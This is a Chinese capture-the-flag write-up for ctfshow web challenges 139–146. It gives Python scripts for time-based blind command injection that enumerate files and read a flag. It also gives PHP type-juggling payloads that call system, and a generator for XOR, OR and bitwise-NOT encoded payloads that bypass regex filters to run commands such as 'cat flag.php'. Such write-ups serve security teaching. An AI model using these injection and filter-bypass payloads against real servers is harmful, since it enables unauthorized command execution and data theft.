web入门139
类似136,但是没有写入的权限
官方的payload:
import requests
import time
import string
str = string.ascii_letters + string.digits + '_~'
result = ""
for i in range(1, 10): # 行
key = 0
for j in range(1, 15): # 列
if key == 1:
break
for n in str:
# awk 'NR=={0}'逐行输出获取
# cut -c {1} 截取单个字符
payload = "if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i, j, n)
# print(payload)
url = "http://984e57b0-32df-4cad-a268-ae816b0f9185.challenge.ctf.show/?c=" + payload
try:
requests.get(url, timeout=(2.5, 2.5))
except:
result = result + n
print(result)
break
if n == '~':
key = 1
result += " "
print("Final result:", result)
发现f149_15_h3r3
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://984e57b0-32df-4cad-a268-ae816b0f9185.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
将其读取出来
这里是使用了时间盲注,|管道符将 cat /f149_15_h3r3 的输出作为后面的输入 ,因为flag的格式已知,除了{}由44个字符组成,然后通过对str便利,如果if成立,sleep 3
设置超时为2.5秒,如果服务器响应时间超过这个值(由于 sleep 3
),则认为条件为真,即找到了正确字符
web入门140
因为最后一步是弱比较,而ctfshow会转化为0,所以就要让intval($code)为0
然后因为这里变量后面加了(),所以是吧变量名当函数调用,f1,f2都要是函数名
有多种解法
$code
1,字母开头的字符串
字符串形式的字母或数字(如 "a", "b123", 等),在 PHP 中,任何以字母开头的字符串在转换为整数时通常会被视为 0。
2,空字符串 "" 和 "0":在转换为整数时也是 0。
3,空数组:空数组 array() 在转换为整数时会被视为 0。
4,整数 0:直接返回整数 0。
5,布尔值 false:布尔值 false 在转换为整数时会被视为 0。
f1=usleep&f2=usleep
f1=system&f2=phpinfo
f1=md5&f2=system(编码后字母开头)
f1=getdate&f2=getdate
web入门141
preg_match('/^\W+$/', $v3)
$v3
变量中的值仅包含非字母数字且非下划线的字符(例如标点符号、空格等)
那我们就要想办法在v3中构造payload
使用文件取反:
<?php
echo urlencode(~ 'system');
echo "\n";
echo urlencode(~ 'ls');
?>
%8C%86%8C%8B%9A%92 %93%8C
%93%8C
tac flag.php :%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F
1-phpinfo()-2也是可以执行的
也可以使用异或算法
由此也可以构造出命令(%ff^%83)即为s
web入门142
判断v1是否为数字,然后用sleep延时
那就直接v1=0
也可以0x0
web入门143
把取反过滤了,那就用异或
大致说一下脚本怎么写:通过识别正则列出可以用来构造的字符串
代入命令找出可用的表达式
这里贴一个大佬的脚本
<?php
//或
function orRce($par1, $par2){
$result = (urldecode($par1)|urldecode($par2));
return $result;
}
//异或
function xorRce($par1, $par2){
$result = (urldecode($par1)^urldecode($par2));
return $result;
}
//取反
function negateRce(){
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}
//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='/[0-9]/i'){
if ($mode!=3){
$myfile = fopen("rce.txt", "w");
$contents = "";
for ($i=0;$i<256;$i++){
for ($j=0;$j<256;$j++){
if ($i<16){
$hex_i = '0'.dechex($i);
}else{
$hex_i = dechex($i);
}
if ($j<16){
$hex_j = '0'.dechex($j);
}else{
$hex_j = dechex($j);
}
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}else{
$par1 = "%".$hex_i;
$par2 = '%'.$hex_j;
$res = '';
if ($mode==1){
$res = orRce($par1, $par2);
}else if ($mode==2){
$res = xorRce($par1, $par2);
}
if (ord($res)>=32&ord($res)<=126){
$contents=$contents.$res." ".$par1." ".$par2."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
}else{
negateRce();
}
}
generate(2,'/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i');
//1代表模式,后面的是过滤规则
生成可用字符列表
def action(arg):
s1 = ""
s2 = ""
with open("rce.txt", "r") as f:
lines = f.readlines()
for i in arg:
for line in lines:
if line.startswith(i):
s1 += line[2:5]
s2 += line[6:9]
break
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return output
while True:
function_input = input("\n[+] 请输入你的函数:")
command_input = input("[+] 请输入你的命令:")
param = action(function_input) + action(command_input)
print("\n[*] 构造的Payload:", param)
执行
system ls:("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")
system cat flag.php:("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")
这里我们用v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")*
web入门144
check函数是检查v3是否为一个长度为1的字符串
preg_match('/^\W+$/', $v2)
: $v2
不含大小写字母,数字,下划线
还是使用上题的主体
payload:v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")&v3=-
web入门145
原理还是一样
可以直接使用上题的脚本:
payload:?v1=1&v2=1&v3=|(('%13%19%13%14%05%0d')|('%60%60%60%60%60%60'))((('%03%01%14%20%06%02')|('%60%60%60%20%60%28')))|
(这里使用|来过滤)
当然我们也可以使用取反:
payload:?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~
%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|
?v1=%0a1&v2=%0a0&v3=?(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5):
也可以这样绕过
web入门146
还是一样的
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~
%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)|
然后也是根据前几题的脚本嗦出来